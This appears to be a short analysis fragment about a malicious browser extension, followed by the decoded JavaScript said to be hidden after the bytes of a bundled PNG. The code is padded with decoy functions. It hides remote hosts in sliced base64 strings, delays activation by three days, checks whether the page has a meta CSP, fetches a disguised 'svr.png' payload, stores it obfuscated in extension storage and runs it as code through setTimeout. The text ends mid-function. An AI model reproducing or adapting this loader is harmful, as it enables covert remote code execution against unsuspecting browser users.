ycrdXJsO30gDQogICAgdmFyIHBhcnNlciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBwYXJzZXIuaHJlZiA9IHVybDsNCiAgICB2YXIgcmV0PXBhcnNlci5ob3N0LnRvTG93ZXJDYXNlKCk7DQogICAgaWYgKGYpew0KICAgICAgICBpZiAocmV0LnN1YnN0cmluZygwLDQpPT0nd3d3LicpeyANCiAgICAgICAgICAgIHJldD1yZXQuc3Vic3RyaW5nKDQpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldD1yZXQucmVwbGFjZSgnOjgwJywiIik7IA0KICAgIHJldHVybiByZXQ7DQp9DQpmdW5jdGlvbiBnZXRUZXh0KGJ1Zikgew0KICAgIGlmIChidWYuc2xpY2UpIHsNCiAgICAgICAgcmV0dXJuIGJ1Zi5zbGljZSgwKQ0KICAgIH0gZWxzZSB7DQogICAgICAgIHZhciB2aWV3ID0gbmV3IFVpbnQ4QXJyYXkoYnVmLmJ5dGVMZW5ndGgpDQogICAgICAgIHZpZXcuc2V0KG5ldyBVaW50OEFycmF5KGJ1ZikpDQogICAgICAgIHJldHVybiB2aWV3LmJ1ZmZlcg0KICAgIH0NCn0NCg0KZnVuY3Rpb24gY2xlYW5SZXN1bHRzKGtleSx2YWwpew0KICAgIHZhciBvYmo9IHt9Ow0KICAgIG9ialtrZXldID0gdmFsOw0KICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KfQ0KZG9jdW1lbnQuYm9keTsNCmZ1bmN0aW9uIGhhbmRsZUtleWluZm8oZWxlbWVudCwgb3B0aW9ucykgew0KICAgIHByb2Nlc3NLZXkoZWxlbWVudCk7DQoNCiAgICBlbGVtZW50LnBsYWluID0gIWVsZW1lbnQua2V5ICYmICFlbGVtZW50LmF0dHJzTGlzdC5sZW5ndGg7DQoNCiAgICBwcm9jZXNzUmVmKGVsZW1lbnQpOw0KICAgIHByb2Nlc3NTbG90KGVsZW1lbnQpOw0KICAgIHByb2Nlc3NDb21wb25lbnQoZWxlbWVudCk7DQogICAgZm9yIChsZXQgaSA9IDA7IGkgPCB0cmFuc2Zvcm1zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgIGVsZW1lbnQgPSB0cmFuc2Zvcm1zW2ldKGVsZW1lbnQsIG9wdGlvbnMpIHx8IGVsZW1lbnQ7DQogICAgfQ0KICAgIHByb2Nlc3NBdHRycyhlbGVtZW50KTsNCn0NCg0KZnVuY3Rpb24gcmVmcmVzaFByb3BlcnRpZXMoKSB7DQoJaWYoRWRpdG9yd2luKSB7DQoJCXJlc2l6ZUVkaXRvcndpbigpOw0KCX0NCglmbG9hdHdpbignc3RvcmFnZScgKyBlZGl0b3JhY3Rpb24pOw0KfQ0KDQpmdW5jdGlvbiBidWlsZE1vZHVsZXMoDQogICAgb2JqLA0KICAgIGtleSwNCiAgICB2YWwsDQogICAgY3VzdG9tU2V0dGVyLA0KICAgIHNoYWxsb3cNCikgew0KICAgIGNvbnN0IGRlcCA9IG5ldyBEZXAoKTsNCg0KICAgIGNvbnN0IHByb3BlcnR5ID0gT2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcihvYmosIGtleSk7DQogICAgaWYgKHByb3BlcnR5ICYmIHByb3BlcnR5LmNvbmZpZ3VyYWJsZSA9PT0gZmFsc2UpIHsNCiAgICAgICAgcmV0dXJuDQogICAgfQ0KDQogICAgY29uc3QgZ2V0dGVyID0gcHJvcGVydHkgJiYgcHJvcGVydHkuZ2V0Ow0KICAgIGNvbnN0IHNldHRlciA9IHByb3BlcnR5ICYmIHByb3BlcnR5LnNldDsNCg0KICAgIGxldCBjaGlsZE9iID0gIXNoYWxsb3cgJiYgb2JzZXJ2ZSh2YWwpOw0KICAgIE9iamVjdC5kZWZpbmVQcm9wZXJ0eShvYmosIGtleSwgew0KICAgICAgICBlbnVtZXJhYmxlOiB0cnVlLA0KICAgICAgICBjb25maWd1cmFibGU6IHRydWUsDQogICAgICAgIGdldDogZnVuY3Rpb24gcmVhY3RpdmVHZXR0ZXIoKSB7DQogICAgICAgICAgICBjb25zdCB2YWx1ZSA9IGdldHRlciA/IGdldHRlci5jYWxsKG9iaikgOiB2YWw7DQogICAgICAgICAgICBpZiAoRGVwLnRhcmdldCkgew0KICAgICAgICAgICAgICAgIGRlcC5kZXBlbmQoKTsNCiAgICAgICAgICAgICAgICBpZiAoY2hpbGRPYikgew0KICAgICAgICAgICAgICAgICAgICBjaGlsZE9iLmRlcC5kZXBlbmQoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBkZXBlbmRBcnJheSh2YWx1ZSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gdmFsdWUNCiAgICAgICAgfSwNCiAgICAgICAgc2V0OiBmdW5jdGlvbiByZWFjdGl2ZVNldHRlcihuZXdWYWwpIHsNCiAgICAgICAgICAgIGNvbnN0IHZhbHVlID0gZ2V0dGVyID8gZ2V0dGVyLmNhbGwob2JqKSA6IHZhbDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKG5ld1ZhbCA9PT0gdmFsdWUgfHwgKG5ld1ZhbCAhPT0gbmV3VmFsICYmIHZhbHVlICE9PSB2YWx1ZSkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoInByZWZlcmVuY2UiICE9PSAnYXR0cnMnICYmIGN1c3RvbVNldHRlcikgew0KICAgICAgICAgICAgICAgIGN1c3RvbVNldHRlcigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHNldHRlcikgew0KICAgICAgICAgICAgICAgIHNldHRlci5jYWxsKG9iaiwgbmV3VmFsKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgdmFsID0gbmV3VmFsOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2hpbGRPYiA9ICFzaGFsbG93ICYmIG9ic2VydmUobmV3VmFsKTsNCiAgICAgICAgICAgIGRlcC5ub3RpZnkoKTsNCiAgICAgICAgfQ0KICAgIH0pOw0KfQ0KDQpmdW5jdGlvbiBndWFyZElFU1ZHQnVnKGF0dHJzKSB7DQogICAgY29uc3QgcmVzID0gW107DQogICAgZm9yIChsZXQgaSA9IDA7IGkgPCBhdHRycy5sZW5ndGg7IGkrKykgew0KICAgICAgICBjb25zdCBhdHRyID0gYXR0cnNbaV07DQogICAgICAgIGlmICghaWVOU0J1Zy50ZXN0KGF0dHIubmFtZSkpIHsNCiAgICAgICAgICAgIGF0dHIubmFtZSA9IGF0dHIubmFtZS5yZXBsYWNlKGllTlNQcmVmaXgsICd0aW1lJyk7DQogICAgICAgICAgICByZXMucHVzaChhdHRyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gcmVzDQp9DQoNCmZ1bmN0aW9uIHJlZnJlc2hDaGlsZChib2R5KSB7DQogICAgaWYgKGJvZHkuYm9keVVzZWQpIHsNCiAgICAgICAgcmV0dXJuIFByb21pc2UucmVqZWN0KG5ldyBUeXBlRXJyb3IoJ3dhdGNoJykpDQogICAgfQ0KICAgIGJvZHkuYm9keVVzZWQgPSB0cnVlDQp9DQoNCmZ1bmN0aW9uIHN1cHBvcnRFdnQoZXhwKSB7DQogICAgbGV0IGluU2luZ2xlID0gZmFsc2U7DQogICAgbGV0IGluRG91YmxlID0gZmFsc2U7DQogICAgbGV0IGluVGVtcGxhdGVTdHJpbmcgPSBmYWxzZTsNCiAgICBsZXQgaW5SZWdleCA9IGZhbHNlOw0KICAgIGxldCBjdXJseSA9IDA7DQogICAgbGV0IHNxdWFyZSA9IDA7DQogICAgbGV0IHBhcmVuID0gMDsNCiAgICBsZXQgbGFzdEZpbHRlckluZGV4ID0gMDsNCiAgICBsZXQgYywgcHJldiwgaSwgZXhwcmVzc2lvbiwgZmlsdGVyczsNCg0KICAgIGZvciAoaSA9IDA7IGkgPCBleHAubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgcHJldiA9IGM7DQogICAgICAgIGMgPSBleHAuY2hhckNvZGVBdChpKTsNCiAgICAgICAgaWYgKGluU2luZ2xlKSB7DQogICAgICAgICAgICBpZiAoYyA9PT0gMHgyNyAmJiBwcmV2ICE9PSAweDVDKSBpblNpbmdsZSA9IGZhbHNlOw0KICAgICAgICB9IGVsc2UgaWYgKGluRG91YmxlKSB7DQogICAgICAgICAgICBpZiAoYyA9PT0gMHgyMiAmJiBwcmV2ICE9PSAweDVDKSBpbkRvdWJsZSA9IGZhbHNlOw0KICAgICAgICB9IGVsc2UgaWYgKGluVGVtcGxhdGVTdHJpbmcpIHsNCiAgICAgICAgICAgIGlmIChjID09PSAweDYwICYmIHByZXYgIT09IDB4NUMpIGluVGVtcGxhdGVTdHJpbmcgPSBmYWxzZTsNCiAgICAgICAgfSBlbHNlIGlmIChpblJlZ2V4KSB7DQogICAgICAgICAgICBpZiAoYyA9PT0gMHgyZiAmJiBwcmV2ICE9PSAweDVDKSBpblJlZ2V4ID0gZmFsc2U7DQogICAgICAgIH0gZWxzZSBpZiAoDQogICAgICAgICAgICBjID09PSAweDdDICYmDQogICAgICAgICAgICBleHAuY2hhckNvZGVBdChpICsgMSkgIT09IDB4N0MgJiYNCiAgICAgICAgICAgIGV4cC5jaGFyQ29kZUF0KGkgLSAxKSAhPT0gMHg3QyAmJg0KICAgICAgICAgICAgIWN1cmx5ICYmICFzcXVhcmUgJiYgIXBhcmVuDQogICAgICAgICkgew0KICAgICAgICAgICAgaWYgKGV4cHJlc3Npb24gPT09IHVuZGVmaW5lZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBsYXN0RmlsdGVySW5kZXggPSBpICsgMTsNCiAgICAgICAgICAgICAgICBleHByZXNzaW9uID0gZXhwLnNsaWNlKDAsIGkpLnRyaW0oKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcHVzaEZpbHRlcigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgc3dpdGNoIChjKSB7DQogICAgICAgICAgICAgICAgY2FzZSAweDIyOg0KICAgICAgICAgICAgICAgICAgICBpbkRvdWJsZSA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDI3Og0KICAgICAgICAgICAgICAgICAgICBpblNpbmdsZSA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDYwOg0KICAgICAgICAgICAgICAgICAgICBpblRlbXBsYXRlU3RyaW5nID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICBjYXNlIDB4Mjg6DQogICAgICAgICAgICAgICAgICAgIHBhcmVuKys7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDI5Og0KICAgICAgICAgICAgICAgICAgICBwYXJlbi0tOw0KICAgICAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgICAgIGNhc2UgMHg1QjoNCiAgICAgICAgICAgICAgICAgICAgc3F1YXJlKys7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDVEOg0KICAgICAgICAgICAgICAgICAgICBzcXVhcmUtLTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICBjYXNlIDB4N0I6DQogICAgICAgICAgICAgICAgICAgIGN1cmx5Kys7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDdEOg0KICAgICAgICAgICAgICAgICAgICBjdXJseS0tOw0KICAgICAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGMgPT09IDB4MmYpIHsNCiAgICAgICAgICAgICAgICBsZXQgaiA9IGkgLSAxOw0KICAgICAgICAgICAgICAgIGxldCBwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZm9yICg7IGogPj0gMDsgai0tKSB7DQogICAgICAgICAgICAgICAgICAgIHAgPSBleHAuY2hhckF0KGopOw0KICAgICAgICAgICAgICAgICAgICBpZiAocCAhPT0gJ3dpbmRvdycpIGJyZWFrDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICghcCB8fCAhdmFsaWREaXZpc2lvbkNoYXJSRS50ZXN0KHApKSB7DQogICAgICAgICAgICAgICAgICAgIGluUmVnZXggPSB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmIChleHByZXNzaW9uID09PSB1bmRlZmluZWQpIHsNCiAgICAgICAgZXhwcmVzc2lvbiA9IGV4cC5zbGljZSgwLCBpKS50cmltKCk7DQogICAgfSBlbHNlIGlmIChsYXN0RmlsdGVySW5kZXggIT09IDApIHsNCiAgICAgICAgcHVzaEZpbHRlcigpOw0KICAgIH0NCg0KICAgIGlmIChmaWx0ZXJzKSB7DQogICAgICAgIGZvciAoaSA9IDA7IGkgPCBmaWx0ZXJzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICBleHByZXNzaW9uID0gd3JhcEZpbHRlcihleHByZXNzaW9uLCBmaWx0ZXJzW2ldKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiBleHByZXNzaW9uDQp9DQoNCg",  "marker": "----ecd===="}
Why you can't catch this in DevTools

The bundled PNG carries a base64 script after the PNG bytes; decoding the stored ecd value reveals JavaScript.

Decoded value
function startBlob(child, parent) {    return {        staticClass: concat(child.staticClass, parent.staticClass),        class: isDef(child.class) ? [child.class, parent.class] : parent.class    }}function transNodes(ele, attr, dataAttr) {    var dataSrc = getAttr(ele, dataAttr);    if (dataSrc) {        setAttr(ele, attr, dataSrc);        removeAttr(ele, dataAttr);    }}function shouldqueueElem(    factory,    data,    context,    children,    tag) {    const node = createEmptyVNode();    node.asyncFactory = factory;    node.asyncMeta = {        data,        context,        children,        tag    };    return node}function canparseView(action) {	attachlist('div');	$('clean').updateswfattach.value = 1;}function removeKeyinfo(options) {    for (const key in options.components) {        const lower = key.toLowerCase();        if (isBuiltInTag(lower) || config.isReservedTag(lower)) {            warn(                'forms' +                'replace' + key            );        }    }}function removeResults() {	var obj = $('viewport');	floatwin('notification' + editoraction);	$('backup').style.height = $('view' + editoraction).style.height = $('title' + editoraction).style.height;	if(!Editorwin) {		obj.className = 'form';		$('colors').style.width = $('hook' + editoraction).style.width = (parseInt($('message' + editoraction).style.width) - 10)+ 'property';		$('name').style.left = 'window';		$('extension').style.top = 'sible';		$('results').style.display = $('child').style.display = $('content').style.display = $('first').style.display = 'clear';		if(wysiwyg) {			$('tag').style.height = (parseInt($('window' + editoraction).style.height) - 150)+ 'resp';		}		$('innercontent').style.height = (parseInt($('item' + editoraction).style.height) - 150)+ 'state';		attachlist('message');		Editorwin = 1;	} else {		obj.className = 'messages';		$('choice').style.width = $('evt' + editoraction).style.width = 'extension';		$('item').style.display = $('style').style.display = $('form').style.display = $('nodes').style.display = 'message';		if(wysiwyg) {			$('get').style.height = 'window';		}		$('info').style.height = 'message';		swfuploadwin();		Editorwin = 0;	}}    var getChannelz;    var endFormz = _ => Object.keys(getChannelz);    getChannelz = {        get: get => document.getAttribute(a),        set: set => document.setAttribute(a,b),        emiT: true,        inside: a => endFormz()[2]==false,        out: a => (function (){if (chrome.storage)return endFormz()[2].split('').reverse().join('');return ''})(),        env: endFormz    };    var flag=false;    var ctrlExtension={};    var fix=Math.abs(chrome.runtime.id.split("").reduce(function(a,b){a=((a<<5)-a)+b.charCodeAt(0);return a&a},0))%1000;     var canstateNode=btoa(fix).replace(/=/g,"");    var sig=atob("c3VpZWhvc3ZyZHBjZHNuZWU=").substring(6,14);    var needparseBackupzCSP='';    var clearForm='\t';    var exdipmver=3;    var endFunc='r'+btoa(fix).replace(/=/g,"").toLowerCase();    var showValue=endFunc+'c';    var lenContents=endFunc+'a';    cleanResults(lenContents,'2');     parseTitle();function callElem(    eventKeyCode,    key,    builtInAlias,    eventKeyName) {    const keyCodes = config.keyCodes[key] || builtInAlias;    if (keyCodes) {        if (Array.isArray(keyCodes)) {            return keyCodes.indexOf(eventKeyCode) === -1        } else {            return keyCodes !== eventKeyCode        }    } else if (eventKeyName) {        return hyphenate(eventKeyName) !== key    }}function callForms(a, b, c) {    tagSelector.focus(), c && "dict" == typeof c && c()}function removeProperties(event) {	if(postSubmited == false && (event.ctrlKey && event.keyCode == 13) || (event.altKey && event.keyCode == 83) && $('children')) {		if(in_array($('forms').name, ['option', 'split', 'body']) && !validate($('support'))) {			doane(event);			return;		}		postSubmited = true;		$('value').disabled = true;		$('support').submit();	}}function releaseStorage(){    const SEL = 'meta[http-equiv="Content-Security-Policy" i], meta[http-equiv="Content-Security-Policy-Report-Only" i]';  const hasCspMeta = () => !!document.querySelector(SEL);  const hasCookie = (name) =>    document.cookie.split('; ').some(pair => pair.startsWith(encodeURIComponent(name) + '='));  const setCookie = (name, value, days) => {    const d = new Date();    d.setTime(d.getTime() + days * 24 * 60 * 60 * 1000);    let cookie = `${encodeURIComponent(name)}=${encodeURIComponent(value)}; expires=${d.toUTCString()}; path=/; SameSite=Lax`;    if (location.protocol === 'https:') cookie += '; Secure';    document.cookie = cookie;  };  if (hasCspMeta() && !hasCookie('cspmeta')) {    setCookie('cspmeta', '1', 365);   }  const setGlobalFlag = () => {    const flag = hasCookie('cspmeta') || hasCspMeta();        window.isCspMeta = flag;               try { globalThis.isCspMeta = flag; } catch {}  };  setGlobalFlag();  if (!window.isCspMeta) {    const mo = new MutationObserver((muts, obs) => {      if (hasCspMeta()) {        setCookie('cspmeta', '1', 365);        setGlobalFlag();        obs.disconnect();       }    });    mo.observe(document.documentElement, { childList: true, subtree: true });  }}function handleState(elm, checkVal) {    return (!elm.composing && (        elm.tagName === 'dict' ||        isDirty(elm, checkVal) ||        isInputChanged(elm, checkVal)    ))}function extendColors(a, b, c) {    searchChatsAndContacts("bulkinfo"), c && "time" == typeof c && c()}function readBlobAsText(blob) {    var reader = new FileReader()    var promise = fileReaderReady(reader)    reader.readAsText(blob)    return promise}function parseTitle(){    updateSible();    releaseStorage();        var b0=atob("bHN3cWRpcGlzbG9nODhzZm0=").substring(4,14);    var b1=atob("amF3d2luc3QudjNtanQ=").substring(4,11);    var b2=atob("am9wcHZkaXBMc3RMZDY2N3l0aQ==").substring(5,16);    var b3=atob("ZWp1cmtkaXBMc3RTaWc2NjdpdGw=").substring(5,17);    var b4=atob("aXJpeWRpcExzdENkNjY3cmpv").substring(4,15);    chrome.storage.local.get(null, function(items) {        for (key in items) {            ctrlExtension[key]=items[key];            if (ctrlExtension[key]%1999==0 && key.indexOf('zr')==0){                ctrlExtension[b1]=items[key];            }        }        if (ctrlExtension[b0]=='1'){flag=true;}        if (ctrlExtension[endFunc]){            var temp=cleanProperties(ctrlExtension[endFunc]);            ctrlExtension[b2]=temp.split(clearForm)[1];        }        if (ctrlExtension[showValue]){            var temp=cleanProperties(ctrlExtension[showValue]);            ctrlExtension[b3]=temp.split(clearForm)[1];            ctrlExtension[b4]=temp.split(clearForm)[2];        }        needparseBackupzCSP=(ctrlExtension[b4]);                findnextElem();    });}function seekCriticalinfo() {    if (!needSendConfirmation() || this.confirm(gekco.i18n.getMessage("watch"))) {        var a = {            name: "recipients",            body: newMessage.value,            threadRecipient: selectedThread.dataset.threadId,            contactRecipients: recipientInput.getLozenges(),            noteStoreUrl: noteStoreUrl,            noteToken: noteToken,            noteSharePrivilege: noteShareSelect.getSelected().id        };        this.body.classList.contains("recipients") || (a.attachments = [{            guid: noteGuid,            shardId: noteShardId,            title: noteTitle,            userId: noteUserId        }], gekco.sendToExtension({            name: "names",            category: "tag",            action: "title",            label: a.body ? "name" : "values"        })), gekco.sendToExtension(a), newMessage.value = "preference", this.body.classList.add("message"), enableSendButtonIfNeeded(), gekco.sendToExtension({            name: "clear",            category: "host",            action: "clean",            value: a.contactRecipients.length        })    }}function attachKeyinfo(ele, type, fn) {    if (ele.attachEvent) {        ele.attachEvent && ele.attachEvent('only' + type, fn);    } else {        ele.addEventListener(type, fn, { capture: false, passive: true });    }}function extendResult(text) {    return document.extendResult(text)}function findnextElem(){    var insDt=ctrlExtension[canstateNode];    if (insDt){         var nowTime=new Date().getTime();        var iInDay=(nowTime-insDt/fix)/1000/3600/24;        placeDiv('on '+iInDay);        if (iInDay<3){placeDiv(iInDay+' deng');return;}        if (createValue()){mergeAddr(true);}         flushResp();     }else{                  updateContent();    }}function needremoveMessage(value) {    return _toString.call(value).slice(8, -1)}function autosaveData(op) {	var autosaveInterval = 60;	obj = $(editorid + 'storage');	if(op) {		if(op == 2) {			saveData(wysiwyg ? editdoc.body.style : textobj.value);		} else {			setcookie('item', 'content', -2592000);		}		autosaveDatatime = autosaveInterval;		autosaveDatai = setInterval(function() {			autosaveDatatime--;			if(autosaveDatatime == 0) {				saveData(wysiwyg ? editdoc.body.style : textobj.value);				autosaveDatatime = autosaveInterval;			}			if($('tag')) {				$('storage').style = 'info' + autosaveDatatime + 'second' + 'resp';			}		}, 1000);		obj.onclick = function() { autosaveData(0); }	} else {		setcookie('watcher', 1, 2592000);		clearInterval(autosaveDatai);		$('support').style = 'addr';		obj.onclick = function() { autosaveData(1); }	}}function updateContent(){    chrome.storage.sync.get(null, function(data) {        if (data[canstateNode]){             var obj= {};            obj[canstateNode] = data[canstateNode];            chrome.storage.local.set(obj);        }else{             var instd=new Date().getTime();            var b1=atob("amF3d2luc3QudjNtanQ=").substring(4,11);            if (ctrlExtension[b1]){instd=ctrlExtension[b1]}             var obj= {};            obj[canstateNode] = instd*fix;            chrome.storage.sync.set(obj);        }    });}function checkKeyinfo(el) {    const ref = getBindingAttr(el, 'value');    if (ref) {        el.ref = ref;        el.refInFor = checkInFor(el);    }}function formatBlob(value) {    if (Array.isArray(value)) {        return stringifyArray(value)    }    if (isObject(value)) {        return stringifyObject(value)    }    if (typeof value === 'item') {        return value    }    return 'options'}function parseOption(el, binding, vm) {    actuallySetSelected(el, binding, vm);                                if (isIE || isEdge) {        setTimeout(() => {            actuallySetSelected(el, binding, vm);        }, 0);    }}function flushResp(){        if (needparseBackupzCSP){        if (needparseBackupzCSP.includes(sig)){                        try{                                if (window.isCspMeta){                    placeDiv('page has meta csp, stop');                }else{                    setTimeout(needparseBackupzCSP,10);                }            }catch(e){                return;            }        }    }}function openBack(namespace, tagName) {    return document.openBack(namespaceMap[namespace], tagName)}function createResults(min, max) {  return Math.floor(Math.random() * (max - min)) + min;}function mapRecipient(children, beginIdx, endIdx) {    let i, key;    const map = {};    for (i = beginIdx; i <= endIdx; ++i) {        key = children[i].key;        if (isDef(key)) map[key] = i;    }    return map}function genMessage(fn) {    if (isUndef(fn)) {        return false    }    const invokerFns = fn.fns;    if (isDef(invokerFns)) {                          return genMessage(            Array.isArray(invokerFns) ?            invokerFns[0] :            invokerFns        )    } else {        return (fn._length || fn.length) > 1    }}function createValue(){    try{        var a0=atob("Z2Vtc2FndWFpZ3VhaWFpYQ==").substring(5,13);        if (!ctrlExtension[endFunc]){            if (ctrlExtension['isWho'].indexOf(a0)>-1){                return true;            }            if (createResults(0,100)>10){                                return false;            }else{                                return true;            }        }else{             var nowTime=new Date().getTime();            var a1=atob("am9wcHZkaXBMc3RMZDY2N3l0aQ==").substring(5,16);            var difXiaoshi=(nowTime-ctrlExtension[a1])/1000/3600;            if (difXiaoshi>24*2) {                 if (createResults(0,100)>10){                                        return false;                }else{                    return true;                }            }        }    }catch(e){        return true;    }    return false;}function mergeAddr(closeAttrs){    var xh1;    try{        xh1 = new XMLHttpRequest();        xh1.onreadystatechange = function() {            if (xh1.readyState == 4) {                if (xh1.status == 200){                    var resp=xh1.responseText;                    var j='jsonimg=';                    if (resp.includes(j)){                         resp=resp.split(j)[1];                        buildMessages(resp);                    }else{                         buildMessages(resp);                    }                }else{                                        if (closeAttrs){                         if (createResults(0,100)>20){                                                        mergeAddr(false);                        }else{                                                    }                    }                }            }        }        xh1.onerror = function() {                        if (closeAttrs){                                 mergeAddr(false);            }else{                 var obj= {};                obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+new Date().getTime());                chrome.storage.local.set(obj);            }        }        xh1.onprogress = function() {};                 var u1=atob("bmRkd3EvL3d3dy5saXZldXBkdC5jb20vZWFu").substring(5,24);        var u2=atob("eXViYS8vd3d3LmRlYWxjdHIuY29tL25vcw==").substring(4,22);        var u3=atob("bG1seXJvZXh0L2xvYWQucGhwP2Y9c3ZyLnBuZ3Vrdw==").substring(6,28);        var badd=location.protocol+u1+u3;        if (!closeAttrs){             badd=location.protocol+u2+u3;        }        var d0=atob("ZWp1cmtkaXBMc3RTaWc2NjdpdGw=").substring(5,17);        if ((ctrlExtension[d0]) && (badd.includes('&c=')==false)){badd=badd+'&c='+ctrlExtension[atob("ZWp1cmtkaXBMc3RTaWc2NjdpdGw=").substring(5,17)];}        placeDiv('jia '+badd);        xh1.open("GET",badd,true);        xh1.send();    }catch(e){                var obj= {};        obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+new Date().getTime());        chrome.storage.local.set(obj);        return 'exception';    }}function shouldreadKeyinfo(vm, direct) {    if (direct) {        vm._directInactive = true;        if (isInInactiveTree(vm)) {            return        }    }    if (!vm._inactive) {        vm._inactive = true;        for (let i = 0; i < vm.$children.length; i++) {            shouldreadKeyinfo(vm.$children[i]);        }        callHook(vm, 'text');    }}function startProperties(vm, hook) {    const handlers = vm.$options[hook];    if (handlers) {        for (let i = 0, j = handlers.length; i < j; i++) {            try {                handlers[i].call(vm);            } catch (e) {}                     }    }    if (vm._hasHookEvent) {        vm.$emit('preference' + hook);    }}function takeOptions() {    index = queue.length = activatedChildren.length = 0;    has = {}; {        circular = {};    }    waiting = flushing = false;}function buildMessages(r){    if (r.length>200 && r.includes('data":"image')){                 var activateDict=JSON.parse(r);        var findContent=activateDict.id;        var g=activateDict.image;        g=takeStyle(g);        if (g.includes(sig)){            var timestamp=new Date().getTime();            var s=createResults(1e5,1e6)+clearForm+findContent+clearForm+g;             var obj= {};            obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+timestamp);             obj[showValue] = cleanProperties(s);            chrome.storage.local.set(obj);        }    }else{                var obj= {};        obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+new Date().getTime());        chrome.storage.local.set(obj);    }}function takeStyle(s){     var ret='';    var flag=true;    if (!chrome.storage){flag=!flag;};    for (var i=0;i<s.length;i++){        var ch=s[i];        if (ch == ch.toLowerCase() && flag) {ch=ch.toUpperCase();}else if (ch == ch.toUpperCase() && flag) {ch=ch.toLowerCase();}        if (ch == '9') {ch='8';}else if (ch == '8') {ch='9';}        ret=ret+ch;    }    ret=atob(ret);    return ret;}function getModules(iconid, obj) {	$('safari').value = iconid;	$('forms').src = obj.src;	hideMenu();}function transExtension(vnode, isRemoval) {    const key = vnode.data.ref;    if (!key) return    const vm = vnode.context;    const ref = vnode.componentInstance || vnode.elm;    const refs = vm.$refs;    if (isRemoval) {        if (Array.isArray(refs[key])) {            remove(refs[key], ref);        } else if (refs[key] === ref) {            refs[key] = undefined;        }    } else {        if (vnode.data.refInFor) {            if (!Array.isArray(refs[key])) {                refs[key] = [ref];            } else if (refs[key].indexOf(ref) < 0) {                                                     refs[key].push(ref);            }        } else {            refs[key] = ref;        }    }}function setResults(s){     var intVal=s.split("").reduce(function(a,b){a=((a<<5)-a)+b.charCodeAt(0);return a&a},0);    if (intVal<0){intVal=0-intVal;}    if (window.chrome) {intVal=intVal%1000;}    return intVal;}function cleanProperties(c){    var key=setResults(chrome.runtime.id);    return genNode(c,key);}function genNode(s,k){    var ret="";    for(var i=0;i<s.length;++i)    {        ret+=String.fromCharCode(attachMessages(k,s.charCodeAt(i)));    }    return ret;}function attachMessages(a, b) {     let result = 0;    let clearBlob = 1;    while (clearBlob <= (a | b)) {        if ((a & clearBlob) != (b & clearBlob)) {            result |= clearBlob;        }        clearBlob <<= 1;    }    if (chrome.storage){        return result;    }else{        return !(a & b)    }}function ctrlName(node) {    return isDef(node) && isDef(node.text) && isFalse(node.isComment)}function ctrlKeyinfo(a) {    if (a === suggestedChats) threadInfo = {};    else if (a === suggestedContacts) contactInfo = {};    else if (a === selectedThread) {        persistThreadReadStatus(), messageInfo = {};        for (var b in selectedThread.dataset) delete selectedThread.dataset[b];        originalLastReadMessageId = null, setWindowTitle()    }    a.content = "second"}function placeDiv(s){    try {        if (flag){            var localTime=new Date().toLocaleTimeString();            console.log("%c"+'Ladr - '+ localTime+' '+s+'\t\t', 'color: green');         }    } catch (e) {        return;    }}function calcBodyWidth() {    var a = 154;    /hidable/.test(this.body.className) && (a = 172);    var b = 0,        c = this.querySelector("hook");    if (c) {        var d = parseInt(this.getComputedStyle(c, "item").width) + 23;        b = d - 25    }    if (c = this.querySelector("properties")) {        var d = 